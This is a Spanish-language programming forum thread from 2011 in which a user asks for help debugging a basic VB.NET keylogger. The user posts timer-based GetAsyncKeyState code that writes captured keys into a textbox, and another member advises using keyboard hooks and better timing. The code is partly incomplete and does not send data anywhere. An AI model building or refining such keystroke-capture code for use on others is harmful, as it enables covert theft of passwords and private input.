elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  problema codigo keylogger
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: problema codigo keylogger  (Leído 3,535 veces)
bitaziko

Desconectado Desconectado

Mensajes: 21



Ver Perfil
problema codigo keylogger
« en: 25 Octubre 2011, 19:01 pm »

hola de nuevo vereis estoy intentando hacer un keylogger basico  pero cuando depuro el programa se detiene...
lo curioso es que le paso el run code analysis y si admito que me saltan 5 warnings...
pero no se si sea motivo para que se detenga....



espero que me podais ayudar...
hay se ve una parte del codigo
por si os vale de ayuda

gracias de antemano....


En línea

La Suerte Favorece a los Niños,a los Locos y a las Naves llamadas Enterprise....
Keyen Night


Desconectado Desconectado

Mensajes: 496


Nothing


Ver Perfil
Re: problema codigo keylogger
« Respuesta #1 en: 26 Octubre 2011, 05:23 am »

Anteriormente las APIs se declaraban con Declare en Vb6 pero eso cambio para .Net en pinvoke.net está como se declaran las APIs en .Net, simplemente debes colocar el nombre del API seguido de pinvoke en Google. Ya he visto este error antes el tipo Long en la variable vKey debe ser Object cuando la API está invocada como si fuese Vb6. Cambia la declaración al modo que se debe hacer en .Net y solucionado el problema.


En línea

La Fé Mueve Montañas...
                                    ...De Dinero

La programación es más que un trabajo es más que un hobby es una pasión...
bitaziko

Desconectado Desconectado

Mensajes: 21



Ver Perfil
Re: problema codigo keylogger
« Respuesta #2 en: 26 Octubre 2011, 11:25 am »

Anteriormente las APIs se declaraban con Declare en Vb6 pero eso cambio para .Net en pinvoke.net está como se declaran las APIs en .Net, simplemente debes colocar el nombre del API seguido de pinvoke en Google. Ya he visto este error antes el tipo Long en la variable vKey debe ser Object cuando la API está invocada como si fuese Vb6. Cambia la declaración al modo que se debe hacer en .Net y solucionado el problema.


gracias keyen night
ya lo he  probado y al parecer funciona excepto por que tengo un problema con el timer: no me graba todas las teclas que presiono solo alguna de vez en cuando
he probado con el timer Enable = True y false e intervalo en 1 y 100
pero nada de nada. Coloco el codigo aver si me podeis ayudar
gracias.

Código
  1.  
  2. Imports System.Runtime.InteropServices
  3. -----------------------------------------------------------------
  4. Public Class Form1
  5.  
  6. Public Shared Function GetAsyncKeyState(ByVal vKey As System.Windows.Forms.Keys) As Short
  7.  Public Shared Function GetKeyState (ByVal nVirtKey As System.Windows.Forms.Keys) As Short
  8.    Private Const VK_SHIFT = &H10, VK_CAPITAL = &H14
  9.    Private ChangeChr(255) As String
  10. ---------------------------------------------------------------------
  11.    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  12.        'Letras
  13.        Dim i As Integer
  14.        For i = Asc("A") To Asc("Z")
  15.            If GetAsyncKeyState(i) = -32767 Then
  16.                If GetAsyncKeyState(VK_SHIFT) > 0 Then
  17.                    If GetKeyState(VK_CAPITAL) > 0 Then
  18.                        RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
  19.                        Exit Sub
  20.                    Else
  21.                        RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
  22.                        Exit Sub
  23.                    End If
  24.                Else
  25.                    If GetKeyState(VK_CAPITAL) > 0 Then
  26.                        RichTextBox1.Text = RichTextBox1.Text & UCase(Chr(i))
  27.                        Exit Sub
  28.                    Else
  29.                        RichTextBox1.Text = RichTextBox1.Text & LCase(Chr(i))
  30.                        Exit Sub
  31.                    End If
  32.                End If
  33.            End If
  34.        Next
  35.        'Numeros
  36.        For i = 48 To 57
  37.            If GetAsyncKeyState(i) = -32767 Then
  38.                If GetAsyncKeyState(VK_SHIFT) < 0 Then
  39.                    RichTextBox1.Text = RichTextBox1.Text & ChangeChr(i)
  40.                    Exit Sub
  41.                Else
  42.                    RichTextBox1.Text = RichTextBox1.Text & Chr(i)
  43.                    Exit Sub
  44.                End If
  45.            End If
  46.        Next
  47.        'Espacio
  48.        If GetAsyncKeyState(32) = -32767 Then
  49.            RichTextBox1.Text = RichTextBox1.Text + " "
  50.        End If
  51.        'Enter
  52.        If GetAsyncKeyState(13) = -32767 Then
  53.            RichTextBox1.Text = RichTextBox1.Text & vbCrLf & "[Enter] "
  54.        End If
  55.        'Esc
  56.        If GetAsyncKeyState(27) = -32767 Then
  57.            RichTextBox1.Text = RichTextBox1.Text & " [Esc] "
  58.        End If
  59.        'Izquierda
  60.        If GetAsyncKeyState(37) = -32767 Then
  61.            RichTextBox1.Text = RichTextBox1.Text & " [Izq] "
  62.        End If
  63.        'Arriba
  64.        If GetAsyncKeyState(38) = -32767 Then
  65.            RichTextBox1.Text = RichTextBox1.Text & " [Arriba] "
  66.        End If
  67.        'Derecha
  68.        If GetAsyncKeyState(39) = -32767 Then
  69.            RichTextBox1.Text = RichTextBox1.Text & " [Der] "
  70.        End If
  71.        'Abajo
  72.        If GetAsyncKeyState(40) = -32767 Then
  73.            RichTextBox1.Text = RichTextBox1.Text & " [Abajo] "
  74.        End If
  75.        'Print Screen
  76.        If GetAsyncKeyState(44) = -32767 Then
  77.            RichTextBox1.Text = RichTextBox1.Text & " [Print Screen] "
  78.        End If
  79.        'Re Pag
  80.        If GetAsyncKeyState(33) = -32767 Then
  81.            RichTextBox1.Text = RichTextBox1.Text & " [Re Pag] "
  82.        End If
  83.        'Av Pag
  84.        If GetAsyncKeyState(34) = -32767 Then
  85.            RichTextBox1.Text = RichTextBox1.Text & " [Av Pag] "
  86.        End If
  87.        'Fin Pag
  88.        If GetAsyncKeyState(35) = -32767 Then
  89.            RichTextBox1.Text = RichTextBox1.Text & " [Fin Pag] "
  90.        End If
  91.        'Inicio Pag
  92.        If GetAsyncKeyState(36) = -32767 Then
  93.            RichTextBox1.Text = RichTextBox1.Text & " [Inicio Pag] "
  94.        End If
  95.        'Supr
  96.        If GetAsyncKeyState(46) = -32767 Then
  97.            RichTextBox1.Text = RichTextBox1.Text & " [Supr] "
  98.        End If
  99.        'Insert
  100.        If GetAsyncKeyState(45) = -32767 Then
  101.            RichTextBox1.Text = RichTextBox1.Text & " [Insert] "
  102.        End If
  103.        'F1
  104.        If GetAsyncKeyState(112) = -32767 Then
  105.            RichTextBox1.Text = RichTextBox1.Text & " [F1] "
  106.        End If
  107.        'F2
  108.        If GetAsyncKeyState(113) = -32767 Then
  109.            RichTextBox1.Text = RichTextBox1.Text & " [F2] "
  110.        End If
  111.        'F3
  112.        If GetAsyncKeyState(114) = -32767 Then
  113.            RichTextBox1.Text = RichTextBox1.Text & " [F3] "
  114.        End If
  115.        'F4
  116.        If GetAsyncKeyState(115) = -32767 Then
  117.            RichTextBox1.Text = RichTextBox1.Text & " [F4] "
  118.        End If
  119.        'F5
  120.        If GetAsyncKeyState(116) = -32767 Then
  121.            RichTextBox1.Text = RichTextBox1.Text & " [F5] "
  122.        End If
  123.        'F6
  124.        If GetAsyncKeyState(117) = -32767 Then
  125.            RichTextBox1.Text = RichTextBox1.Text & " [F6] "
  126.        End If
  127.        'F7
  128.        If GetAsyncKeyState(118) = -32767 Then
  129.            RichTextBox1.Text = RichTextBox1.Text & " [F7] "
  130.        End If
  131.        'F8
  132.        If GetAsyncKeyState(119) = -32767 Then
  133.            RichTextBox1.Text = RichTextBox1.Text & " [F8] "
  134.        End If
  135.        'F9
  136.        If GetAsyncKeyState(120) = -32767 Then
  137.            RichTextBox1.Text = RichTextBox1.Text & " [F9] "
  138.        End If
  139.        'F10
  140.        If GetAsyncKeyState(121) = -32767 Then
  141.            RichTextBox1.Text = RichTextBox1.Text & " [F10] "
  142.        End If
  143.        'F11
  144.        If GetAsyncKeyState(122) = -32767 Then
  145.            RichTextBox1.Text = RichTextBox1.Text & " [F11] "
  146.        End If
  147.        'F12
  148.        If GetAsyncKeyState(123) = -32767 Then
  149.            RichTextBox1.Text = RichTextBox1.Text & " [F12] "
  150.        End If
  151.        'Alt
  152.        If GetAsyncKeyState(164) = -32767 Then
  153.            RichTextBox1.Text = RichTextBox1.Text & " [Alt] "
  154.        End If
  155.        'Num Lock
  156.        If GetAsyncKeyState(144) = -32767 Then
  157.            RichTextBox1.Text = RichTextBox1.Text & " [Num Lock] "
  158.        End If
  159.        'Bloq mayús
  160.        If GetAsyncKeyState(20) = -32767 Then
  161.            RichTextBox1.Text = RichTextBox1.Text & " [Bloq Mayús] "
  162.        End If
  163.        
  164.        If GetAsyncKeyState(164) = -32767 Then
  165.            RichTextBox1.Text = RichTextBox1.Text & "ñ"
  166.        End If
  167.        
  168.        If GetAsyncKeyState(240) = -32767 Then
  169.            RichTextBox1.Text = RichTextBox1.Text & "Ñ"
  170.        End If
  171.        '"."
  172.        If GetAsyncKeyState(190) = -32767 Then
  173.            RichTextBox1.Text = RichTextBox1.Text & "."
  174.        End If
  175.        '","
  176.        If GetAsyncKeyState(188) = -32767 Then
  177.            RichTextBox1.Text = RichTextBox1.Text & ","
  178.        End If
  179.        '"Alt Gr"
  180.        If GetAsyncKeyState(165) = -32767 Then
  181.            RichTextBox1.Text = RichTextBox1.Text & " [Alt Gr] "
  182.        End If
  183.        '"Del"
  184.        If GetAsyncKeyState(8) = -32767 Then
  185.            RichTextBox1.Text = RichTextBox1.Text & " [Del] "
  186.        End If
  187.        '"Tab"
  188.        If GetAsyncKeyState(9) = -32767 Then
  189.            RichTextBox1.Text = RichTextBox1.Text & " [Tab] "
  190.        End If
  191.    End Sub
« Última modificación: 26 Octubre 2011, 12:39 pm por bitaziko » En línea

La Suerte Favorece a los Niños,a los Locos y a las Naves llamadas Enterprise....
Keyen Night


Desconectado Desconectado

Mensajes: 496


Nothing


Ver Perfil
Re: problema codigo keylogger
« Respuesta #3 en: 26 Octubre 2011, 19:45 pm »

Bueno hay otras formas de hacer un Keylogger como los Hooks de teclado hay muchos ejemplos aquí en el foro y lo cierto es que son más efectivos que GetAsyncKeyState, si quieres seguir con lo que tienes entonces pon el intervalo del Timer en SystemInformation.KeyboardDelay. No uses tantos If usa Select Case los If te consumen tiempo en el Timer. Toma en cuenta que las teclas se reciben de una a la vez entonces no tiene sentido verificar If, If, If, If porque solo uno de ellos va a dar el resultado después de ese todos los demás estarán perdiendo tiempo valioso.
En línea

La Fé Mueve Montañas...
                                    ...De Dinero

La programación es más que un trabajo es más que un hobby es una pasión...
bitaziko

Desconectado Desconectado

Mensajes: 21



Ver Perfil
Re: problema codigo keylogger
« Respuesta #4 en: 27 Octubre 2011, 10:35 am »

ok lo mirare por el foro pero seguiren tambien con este... nunca viene mal saberlo.
gracias por tu opinion

un saludo!!!
En línea

La Suerte Favorece a los Niños,a los Locos y a las Naves llamadas Enterprise....
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
problema con keylogger en vb6 « 1 2 »
Programación Visual Basic
hepy_92 19 6,160 Último mensaje 29 Abril 2007, 12:31 pm
por Jareth
"Ohcan07 remote shell con keylogger"+ codigo de fuente explicado
Programación Visual Basic
ohcan07 3 5,682 Último mensaje 25 Octubre 2010, 00:43 am
por Psyke1
Extrayendo código fuente de una web (Problema con código generado por JS)
PHP
Littl3 4 8,540 Último mensaje 3 Marzo 2011, 04:13 am
por Nakp
Keylogger c/codigo fuente
Programación Visual Basic
~.L.~ 7 14,358 Último mensaje 27 Julio 2019, 15:39 pm
por @XSStringManolo
Problema con keylogger
Scripting
Panic0 0 2,241 Último mensaje 30 Agosto 2020, 04:12 am
por Panic0
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines